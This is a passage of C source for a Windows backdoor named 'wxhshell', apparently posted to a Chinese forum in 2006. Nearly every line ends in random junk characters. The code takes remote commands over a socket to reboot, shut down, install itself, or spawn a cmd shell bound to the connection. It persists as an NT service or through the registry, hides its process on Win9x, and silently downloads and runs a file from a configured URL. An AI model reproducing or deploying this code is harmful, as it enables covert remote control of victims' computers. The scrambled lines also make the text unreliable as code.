  case '?': { R*|y:T,H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q$L=G  
    break; >x]b"@Hkw  
  } CoO..  
  // 安装 gi\2bzWkbX  
  case 'i': { S~X&^JvT  
    if(Install()) ,@!io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ko<,Kp2b  
    else gG*]|>M JI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f3El9[  
    break; VbyGr~t  
    } +GqK$B(x7  
  // 卸载 'Z5l'Ac  
  case 'r': { 7)SG#|v[$  
    if(Uninstall()) awxzP*6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O< [h  
    else K9O%SfshF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xVw9_il2a  
    break; 5#|D1A  
    } X$Eg(^La  
  // 显示 wxhshell 所在路径 cLhHGwX=x  
  case 'p': { u5zL;C3O  
    char svExeFile[MAX_PATH]; @-ps[b`z  
    strcpy(svExeFile,"\n\r"); Hj(ay4 8  
      strcat(svExeFile,ExeFile); Lu?MRF f  
        send(wsh,svExeFile,strlen(svExeFile),0); G%5bQ|O  
    break; $23*:)&J4  
    } W}jel}:  
  // 重启 PIOG| E  
  case 'b': { %EV\nwn6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \vwsRT 1  
    if(Boot(REBOOT)) m03D+@F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(Jf;[o  
    else { pV:;!+  
    closesocket(wsh); E/+H~YzO  
    ExitThread(0); T1$=0VSEa+  
    } y#tuwzE  
    break; zNG]v?JAh  
    } ',+YWlW  
  // 关机 T<XGG_NOl  
  case 'd': { 8k[=$Ro  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p6S{OUiG  
    if(Boot(SHUTDOWN)) |y%pJdPk=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W3Gg<!*Uo  
    else { zy8Z68%E`*  
    closesocket(wsh); Dnk}  
    ExitThread(0); E3hql3=  
    } p} }pq~EH/  
    break; x;N@_FZ7KY  
    } J)o.@+Q}  
  // 获取shell c?(;6$A  
  case 's': {  #dO8) t  
    CmdShell(wsh); qe^d6  
    closesocket(wsh); fGdT2}gd  
    ExitThread(0); mv1g2f+  
    break; JJC Y M  
  } xD.Uh}:J  
  // 退出 +|0f7RB+R  
  case 'x': { IkWV|E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oyw*Z_9~  
    CloseIt(wsh); a%nksuP3  
    break; n1XJ uc~  
    } ^lvYj E  
  // 离开 = 1ltX+   
  case 'q': { }^Ymg7wA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /FJ.W<hw  
    closesocket(wsh); :<}1as! eo  
    WSACleanup(); "kb[}r4?  
    exit(1); ~?6M4!u   
    break; K%jh 6c8  
        } vM3 b\yp  
  } zjE|UK{  
  } v 79k{<Ln  
S[zETRSG  
  // 提示信息 2 .p?gRO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n3z]&J5fr  
} Z-U-n/6I  
  } wn1` 9  
qX9x#92  
  return; L.ML0H-   
} ^WF/gup\hS  
Q$bi:EyJXc  
// shell模块句柄 W^e"()d/Z  
int CmdShell(SOCKET sock) JX)%iJq#  
{ wjzR 8g0bQ  
STARTUPINFO si; Qr.SPNUFK  
ZeroMemory(&si,sizeof(si));  Uf,fd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l@W1b S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QH5[}zs8  
PROCESS_INFORMATION ProcessInfo; y|b&Rup  
char cmdline[]="cmd"; w|,BTM:e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cM?i _m  
  return 0; F=g +R~F  
} n9H4~[JiC  
ITssBB9  
// 自身启动模式 w. c]   
int StartFromService(void) F`Ld WA  
{ D$?}M>  
typedef struct [ !<  
{ /_(q7:<ZF  
  DWORD ExitStatus; e)M)q!nG  
  DWORD PebBaseAddress; O3JBS^;V2  
  DWORD AffinityMask; >OxSrc@A  
  DWORD BasePriority; ).$q9G  
  ULONG UniqueProcessId; ,&F4|{  
  ULONG InheritedFromUniqueProcessId; sx^0*h-Qq  
}   PROCESS_BASIC_INFORMATION; -dyN Ah?=  
<rn26Gfr  
PROCNTQSIP NtQueryInformationProcess; Gnthz0\]{  
EEJ OJ<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2kSN<jMr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b+#A=Z+Pr  
y_:~  
  HANDLE             hProcess; 3:g~@PB  
  PROCESS_BASIC_INFORMATION pbi; 6%A_PP3Z  
Jfs_9g5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %AJTU3=0  
  if(NULL == hInst ) return 0; \- f^C}m  
I .> SC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5Tg[-tl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ozOvpi:k3%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O<>cuW(l  
elDt!9Pu  
  if (!NtQueryInformationProcess) return 0; _&R lR  
#qDMUN*i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (:r80:  
  if(!hProcess) return 0; %~rXJrK  
@b3jO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cii! WCu  
5fvY#6;  
  CloseHandle(hProcess); iXPe  
e-EY]%JO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <|>7?#s2=  
if(hProcess==NULL) return 0; p:Hg>Z  
W[SZZV_(tu  
HMODULE hMod; #V-0-n,`  
char procName[255]; B,(zp#&yB  
unsigned long cbNeeded; S{ fFpe-  
9g~"Y[ ]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0[In5II  
61pJVOe  
  CloseHandle(hProcess); _Squ%z:D  
b-OniMq~  
if(strstr(procName,"services")) return 1; // 以服务启动 w#!b #TNc  
=im7RgIBo  
  return 0; // 注册表启动 J ?^R 1  
} (N^tg8Z<  
6d{&1-@>  
// 主模块 (iJ9ekB  
int StartWxhshell(LPSTR lpCmdLine) 3aUWQP2  
{ Vo`,|3^  
  SOCKET wsl; 8Cef ]@x  
BOOL val=TRUE; rE?Fp  
  int port=0; "n%0L4J  
  struct sockaddr_in door; kNk$[Yfs  
Hw 1:zro  
  if(wscfg.ws_autoins) Install(); y*<x@i+h  
0K'^g0G  
port=atoi(lpCmdLine); ]AB'POa  
rHpxk  
if(port<=0) port=wscfg.ws_port; FMEW['  
fP8iz `n  
  WSADATA data; rv<_'yj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T=,A pa  
YmPNaL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M]7>Ar'zsG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %U?1Gf e  
  door.sin_family = AF_INET; G7N Rpr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q+{$"s9v  
  door.sin_port = htons(port); .C\##   
cH48)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b]6@ O8  
closesocket(wsl); \(`8ng]vs  
return 1; L+D9ZE]  
} 3L^]J}|  
@/W~lJ!e  
  if(listen(wsl,2) == INVALID_SOCKET) { >m+Fm=  
closesocket(wsl);  /C   
return 1; D^ )?*(  
} !]C=5~B BI  
  Wxhshell(wsl); 8)bqN$*h  
  WSACleanup(); gT{WH67u  
W )jtTC7  
return 0; <^da-b>C  
Xj5oHHwn  
} %$[#/H7=W  
n5+Z|<3)  
// 以NT服务方式启动 *W-:]t3CR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) brEA-xNWQ  
{ u"gtv  
DWORD   status = 0; Xkp?)x3~X  
  DWORD   specificError = 0xfffffff; Sp/<%+2(  
h>"j!|#!s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2Y~nU(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -gB9476-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :r4o:@N'  
  serviceStatus.dwWin32ExitCode     = 0; -]Y@_T.C  
  serviceStatus.dwServiceSpecificExitCode = 0; 3eERY[  
  serviceStatus.dwCheckPoint       = 0; pD17r}%  
  serviceStatus.dwWaitHint       = 0; 6wq>&P5  
+SNjU"x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g\]~H%2 ,  
  if (hServiceStatusHandle==0) return; Vrn+"2pdJ  
ib-H jJ8  
status = GetLastError(); v3b+Ddp  
  if (status!=NO_ERROR) DHQs_8Df  
{ a.2Xl}2o5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F1u2SltR  
    serviceStatus.dwCheckPoint       = 0; '.{_ 7U  
    serviceStatus.dwWaitHint       = 0; Q.,2G7[ <  
    serviceStatus.dwWin32ExitCode     = status; 8Z!Mad  
    serviceStatus.dwServiceSpecificExitCode = specificError; T#GTNk!v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*$]Bx  
    return; =K <`nF0 w  
  } 3IG<Ot9  
"A]#KTP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yJ4ZB/ZQ  
  serviceStatus.dwCheckPoint       = 0; L*FQ`:lZ  
  serviceStatus.dwWaitHint       = 0; hQ (84u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t76B0L{  
} ^X;p8uBo  
6aKfcvf &  
// 处理NT服务事件,比如:启动、停止 Xp[xO0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z;y(D_;_  
{ HCw,bRxm  
switch(fdwControl) l5/gM[0_7  
{ B \LmE+a>  
case SERVICE_CONTROL_STOP: SW}?y%~  
  serviceStatus.dwWin32ExitCode = 0; `\$EPUM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FfNUFx2N  
  serviceStatus.dwCheckPoint   = 0; d:pGdr& .  
  serviceStatus.dwWaitHint     = 0; H[RX~Xk2E  
  { 8n35lI ( [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C6'K)P[p  
  } e'MW"uCP}  
  return; o Vpq*"  
case SERVICE_CONTROL_PAUSE: qTSe_Re  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lp) P7Yt-  
  break; 66-tNy  
case SERVICE_CONTROL_CONTINUE: `|2g &Vn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 14DhJUV"b  
  break; c~+KrWbZ~  
case SERVICE_CONTROL_INTERROGATE: 2ck0k,WP  
  break; Ab6R ?mUM  
}; 2ZEDyQM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bXSAZW f  
} @'<=E AXe  
qrf90F)  
// 标准应用程序主函数 J7Mbv2D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IN75zn*%  
{ Tje(hnN  
-3u ;U,}  
// 获取操作系统版本 <eZ*LK?  
OsIsNt=GetOsVer(); [HI$[ :[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6{quO# !  
~dk97Z8  
  // 从命令行安装 qw 03]a  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~F8xXW0  
pxn@rN#*  
  // 下载执行文件 Y,Lx6kU  
if(wscfg.ws_downexe) { 5>lIrBf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &->ngzg  
  WinExec(wscfg.ws_filenam,SW_HIDE); M@o^V(j  
} Cu!]-c{  
3l"8_zLP  
if(!OsIsNt) { ;W]9DBAB  
// 如果时win9x,隐藏进程并且设置为注册表启动 3W%j^nM  
HideProc(); s (K SN/  
StartWxhshell(lpCmdLine); &$ud;r#  
} .TCDv4?  
else pD('6C;  
  if(StartFromService()) !hFhw1  
  // 以服务方式启动 dI|D c  
  StartServiceCtrlDispatcher(DispatchTable); jweX"G54R  
else rsq?4+\  
  // 普通方式启动 ac\([F-  
  StartWxhshell(lpCmdLine); %DA&txX}w  
o7s!ti\G  
return 0; kD0bdE|  
}
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只看该作者 1 发表于: 2006-10-10
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